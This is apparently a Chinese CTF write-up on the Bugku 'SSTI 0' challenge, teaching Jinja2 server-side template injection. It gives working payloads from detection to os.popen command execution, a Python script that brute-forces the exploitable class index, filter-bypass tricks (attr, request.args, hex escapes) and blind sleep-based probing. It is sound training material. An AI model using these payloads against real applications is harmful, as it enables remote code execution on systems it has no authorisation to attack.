最近在Bugku刷到SSTI 0这道题,很多新手朋友在群里问,我自己第一次遇到的时候也一脸懵。SSTI全称Server-Side Template Injection,服务端模板注入,是CTF Web方向绕不开的知识点。这道题的设计就是给入门者练手,入口看起来像个简单的查询框,但里面藏着一整条从模板语法到命令执行的链路。如果你刚接触CTF,或者已经会拿现成Payload打但搞不清原理,这篇内容应该能帮上忙。我会从探测、利用、绕过到踩坑,一步一步拆解,顺便分享一些我平时实战中总结的小技巧。
1. 题目初探:SSTI到底是什么
1.1 从“查询框”说起
第一次打开题目,页面非常简单,一个输入框、一个提交按钮,提示输入id即可查询到信息。看到这种场景,条件反射是测SQL注入,结果输入1' or 1=1,页面回复完全不符合预期,也没有数据库报错,倒是输入一些奇怪符号后,返回结果里出现了“Hello”后面跟着原样内容,感觉哪里不对劲。
这种“原样回显”的场景,往往要往模板渲染方向想。Web框架为了渲染动态页面,普遍会用到模板引擎。模板引擎本质上是把静态HTML和动态数据拼在一起的工具,比如一个欢迎页面,模板会写成“Hello, {{ name }}!”,后端传入name变量,最终渲染成“Hello, 小明!”。但如果开发者直接把用户输入塞进模板字符串,再交给模板引擎渲染,用户输入的模板语法就会被当成代码执行,这就是SSTI。
用生活化的类比来说,模板引擎就像打印店里的预印空白合同,框架负责把变量填进字段。正常情况下,用户只能控制“金额”“日期”这些字段内容,但如果打印店把整张合同纸包括格式字段都交给客户填写,客户就能在合同背面写任何附加条款。SSTI就是这个“附加条款”的入口。
1.2 模板语法不只是${}
很多教程一上来就扔一堆Payload,但不解释为什么{{7*7}}会回显49。模板引擎在渲染时,会识别特定标记符内部的表达式,并先求值再替换成结果。Jinja2是Python Flask框架默认模板引擎,表达式写在{{ ... }}里,语句写在{% ... %}里。当你传入{{7*7}},模板引擎先计算7乘以7等于49,然后把49输出到HTML里。
理解这层逻辑后,自然会往下想:双花括号里能不能写更复杂的代码?能不能读取配置信息?能不能调用对象方法、甚至执行系统命令?答案都是肯定的。一旦模板引擎把用户输入当作模板代码渲染,SSTI的杀伤力就从“算术测试”升级成“任意代码执行”。这也是SSTI在CTF里常作为中高难度题出现的原因。
2. 探测与确认:别急着上payload
2.1 先用几条基础探测语句
判断一个点是不是模板注入,最好的办法不是直接上大Payload,而是先给几个“标记性”输入,看哪种引擎的特征语法生效。我常用的五组如下:
{{7*7}}:Jinja2、Twig等引擎会回显49。${7*7}:Freemarker、Velocity等引擎的表达式。{{7*'7'}}:Jinja2中字符串乘数字会报错,Twig中返回7777777。{7*7}:Smarty引擎的写法。<%= 7*7 %>:ERB,Ruby模板引擎的写法。
在Bugku这道题上,输入{{7*7}},页面直接回显“Hello 49”,基本锁定是Python系模板引擎。接着输入{{config}},如果回显一段包含SECRET_KEY的配置信息,那几乎可以确认是Flask + Jinja2环境。
注意一点,不要上来就丢执行命令的Payload。先确认引擎类型特别重要,因为不同引擎的利用链差异很大,拿Jinja2的Payload去打Freemarker,成功率很低,反而浪费时间。我见过不少新人卡在“为什么我的Payload没反应”,最后发现目标根本不是Jinja2,而是Smarty。
2.2 看回显也要看报错
有回显的时候最好办,但有些题目会对回显做包装,表达式结果藏在“Hello”后面,或者被截断。我一般会抓包看完整响应,而不是只看浏览器渲染后的页面。浏览器可能把HTML标签渲染掉,导致部分输出看不见,尤其对引号、尖括号这些字符,情况更明显。
另一种方式是有意制造报错,比如输入{{1/0}}或{{'a'+1}},看返回内容里是否包含Traceback、jinja2.exceptions.UndefinedError等异常信息。报错信息很容易泄露模板引擎和Python版本,对后续利用非常有帮助。如果页面完全不返回异常,可以在表达式里加入计算耗时较高的操作,比如{{ [x for x in range(1000000)] }},根据不同响应时间判断模板是否执行了表达式。
2.3 常见误区:这不是SQL注入
做CTF最忌讳惯性思维。输入框叫id,参数叫id,不等于后端就是在执行SQL查询。如果一门心思拼SQL注入,像id=1' and 1=1--+,后端很可能直接把整个字符串放进SQL语句,但数据库没报错,页面也毫无变化,于是陷入死循环。
我建议初期测试统一走一遍“原样回显型漏洞”的通用流程:先试普通字符串看是否原样输出,再试HTML标签看是否被解析,接着试模板表达式,最后才轮到SQL注入和XSS。这套顺序在应急响应里同样适用,很多被黑站点的突破口其实不是数据库,而是藏在小功能点里的SSTI。
3. 从回显到命令执行
3.1 对象链的底层逻辑
在Jinja2里,能执行代码的根本原因在于Python对象模型。模板表达式可以直接访问对象的属性和方法,这些属性名字有特殊规律。每个对象都能通过__class__拿到自己的类,类的__mro__拿到继承链,顺着继承链找到object类,再通过object类的__subclasses__拿到当前Python解释器里已加载的全部类。
这些类里面,有些类的__init__方法所在的模块导入了os、sys这类系统模块。通过__init__.__globals__,可以拿到函数所在模块的全局命名空间,里面往往躺着os模块。一旦拿到os模块,就能调用os.popen执行系统命令。
这就像你站在一个房间里,先拿钥匙(__class__)打开房门,走到走廊(__mro__)找到整栋楼的弱电井(__subclasses__),再从弱电井里找到一个联网设备(目标类),最后用这个设备的接口去控制所有系统(__globals__)。新人看不懂对象链,就是因为没把这几个环节拆开理解。
3.2 一条能用的经典Payload
直接贴一条适用于Python3环境的经典Payload:
{{"".__class__.__mro__[1].__subclasses__()}}这条Payload能列出当前解释器中的所有类。但直接输出会非常长,页面通常显示不全,而且不同Python版本下类顺序不一样。因此实际利用时,通常要选一个方便构造的类。Python2里常用<class 'warnings.catch_warnings'>,Python3里常用<class 'os._wrap_close'>,因为后者所在的模块已经导入过os。
执行命令的常见格式是:
{{"".__class__.__mro__[1].__subclasses__()[280].__init__.__globals__['os'].popen('cat flag').read()}}这里的索引280不是固定的,需要现场枚举。我一般会先确认类列表长度,用这个表达式:
{{("".__class__.__mro__[1].__subclasses__()|length)}}如果环境里类总数是几百,说明输出会很长,那就分段看,每次只取一段,比如[0:20]这种切片方式来缩小范围。回显有限制的题目里,切片格外好用。
3.3 写脚本自动找可利用类
手动数索引效率太低,我在实战里更习惯写一个小脚本,自动发请求、提取回显、定位可利用类。脚本思路并不复杂:
- 读取目标URL和参数名。
- 发送
{{"".__class__.__mro__[1].__subclasses__()}},拿到完整类列表文本。 - 用正则从文本中提取每个类的索引和类名。
- 对每个索引构造
{{...__init__.__globals__.get("os")}},观察回显是否包含module 'os'。 - 找到后,再构造执行
cat flag的Payload。
给一个简化版参考代码:
import requests import re url = "http://your_target/" param = "id" base_payload = '{{"".__class__.__mro__[1].__subclasses__()}}' res = requests.get(url, params={param: base_payload}).text print(res[:500]) # 这里只是演示,实际可能需要处理转义和截断 for i in range(300): p = '{{"".__class__.__mro__[1].__subclasses__()[' + str(i) + '].__init__.__globals__.get("os")}}' r = requests.get(url, params={param: p}) if "module 'os'" in r.text: print("found os at index", i) cmd = '{{"".__class__.__mro__[1].__subclasses__()[' + str(i) + '].__init__.__globals__["os"].popen("cat flag").read()}}' print(requests.get(url, params={param: cmd}).text) break用requests自带params传参时,大部分特殊字符会被自动编码,减少了手动处理转义的麻烦。但如果题目环境对请求长度敏感,或者有过滤,可能还需要用POST请求或分块拼接来绕过。
3.4 读取flag的常见思路
拿到命令执行之后,不一定是cat flag就能结束。flag可能就在当前目录,也可能在根目录,文件名还可能带随机字符串。常见思路是先用ls -la看当前目录,再用find / -name "flag*" 2>/dev/null全盘搜索。
如果命令回显被截断,可以分目录读取,比如cat /flag、cat flag、cat /home/flag*多试几个路径。有些题目允许直接读文件,不需要走os模块,比如:
{{open('flag').read()}}如果这个表达式能用,说明目标环境里可以直接访问open函数,省去对象链的构造。但多数情况下,题目环境不会给你这么直接的入口,对象链才是通用解。
这里需要强调一个细节:我们构造的Payload利用的是某个类的__init__.__globals__['os'],而不是在模板里主动import os。因为模板环境本身没有import语句的权限,所以必须“借用”一个已经导入过os的模块的全局命名空间。理解这一点,就能明白为什么索引不对时会报错,而不是怀疑题目是不是有问题。
4. 被过滤了怎么办
4.1 字符过滤的通用绕过手法
入门题通常不做过滤,但稍微进阶一点的SSTI会阻断部分关键词,比如__class__、os、popen、flag等。遇到过滤时,优先考虑绕过,而不是换一种注入类型。
常见手法有字符串拼接,模板会先执行拼接再访问属性,例如:
{{""["__cl"+"ass__"]}}还可以用Jinja2内置的attr过滤器,把属性名作为字符串参数传进去:
{{""|attr("__class__")}}attr过滤器可以绕过直接写点号的过滤规则,被很多题目卡住的时候,这一招往往直接破局。此外,十六进制和Unicode编码也能藏关键词,比如__class__可以写成:
{{""["\x5f\x5fclass\x5f\x5f"]}}4.2 利用request.args当“白手套”
如果过滤规则连__mro__、__subclasses__都干掉,我在实战中更推荐用request.args传参。思路是在模板表达式里只写request.args,把真正需要的属性名、方法名全部放到URL参数里。例如:
{{""|attr(request.args.a)|attr(request.args.b)}}访问时URL后面加?a=__class__&b=__mro__,这样模板里出现的都是request.args,没有敏感关键字,而URL参数里的字符串有时不会被过滤规则扫描到,即使扫描了也可以通过URL编码调整。
这种方法在过滤字母数字的场景下特别有用。比如过滤了下划线,可以用\x5f这种十六进制表示;过滤了中括号,可以用|attr替代。把对象链拆分成多个参数,慢慢拼接,就能绕开绝大部分表层过滤。
4.3 无回显与盲打方案
页面如果不直接输出表达式结果,比如所有输出都被HTML编码,或者被统一替换成空白,那就要考虑盲SSTI。最常用的是时间盲注,构造:
{{"".__class__.__mro__[1].__subclasses__()[index].__init__.__globals__['time'].sleep(5)}}如果页面明显延迟5秒,说明当前索引对应的类确实可以访问time模块,也就说明命令执行链路可用。在此基础上,可以进一步外带数据,但在CTF练习平台里一般不推荐搭外带接收端,一是目标多半不出网,二是规则限制多。遇到无回显题目,我通常会先试着把表达式结果注入到HTML注释里,有些框架会原样保留模板渲染后的注释内容,这样就能用view-source看到结果。
5. 实战复盘与高频问题
5.1 一道入门题的全流程操作
把整个过程串一遍,假设题目URL是http://target/?id=test,页面返回“Hello test”。第一步,输入{{7*7}},返回“Hello 49”,确认SSTI。第二步,输入{{config}},回显SECRET_KEY等配置,确认Jinja2环境。第三步,输入{{"".__class__.__mro__[1].__subclasses__()}},发现输出过长,改用|length确认类数量。第四步,用脚本遍历索引,找到带os的类,假设索引是245。第五步,构造完整Payload:
{{"".__class__.__mro__[1].__subclasses__()[245].__init__.__globals__['os'].popen('cat flag').read()}}拿到flag,收工。
这个过程每一步都有目的,不是单纯背Payload。为什么先确认引擎,为什么先列对象链,为什么用脚本遍历,这套思路在任何SSTI题目里都通用。参数名不一定叫id,可能是name、user、search,但探测逻辑完全一致。
5.2 常见问题速查表
我把实际操作中容易踩的坑整理成表格,遇到问题可以先对照排查。
| 现象 | 原因 | 处理方式 |
|---|---|---|
{{7*7}}没回显 | 模板引擎不是Jinja2,或输入被编码 | 改用${7*7}、<%...%>等语法测试 |
| 返回500错误 | 表达式语法错误,或模板引擎直接抛异常 | 检查引号、中括号、索引是否匹配 |
{{"".__class__.__mro__...}}被截断 | 输出长度限制 | 先用length确认范围,再用切片分段取 |
| 找不到可利用类 | Python版本不同,索引偏移 | 写脚本遍历,或尝试__init__.__globals__的其他模块 |
| 命令执行后无输出 | 命令错误、权限不足 | 先执行ls、whoami看回显 |
过滤__class__ | WAF或代码过滤 | 用attr过滤器、字符串拼接、request.args绕过 |
| 无回显且页面不报错 | 输出被处理 | 尝试时间盲注或注入到HTML注释 |
5.3 我的几点经验
最后说点碎片化的经验。拿到SSTI题目,我建议先在本机搭一个Flask环境,用Vulhub靶机或者自己写一个最小的SSTI漏洞示例,把Payload在本地跑通,再回目标上试。这样既能快速验证类索引,又不怕把目标环境打崩。
看别人的Payload时,一定要拆开理解每一层属性是做什么的,千万不要整套复制。题目一变,索引就变,过滤就变,不理解原理的人只能永远在找可用的现成字符串。
还有一个小技巧:当页面回显里能显示对象列表时,优先找os模块相关类,比如os._wrap_close、os.environ这些。找到其中一个,后面的命令执行链路就畅通了。如果目标环境是Python2,则更多看warnings.catch_warnings这类类对象。CTF练习就是这样,多动手、多踩坑、多记录,下次遇到SSTI时你会觉得不过如此。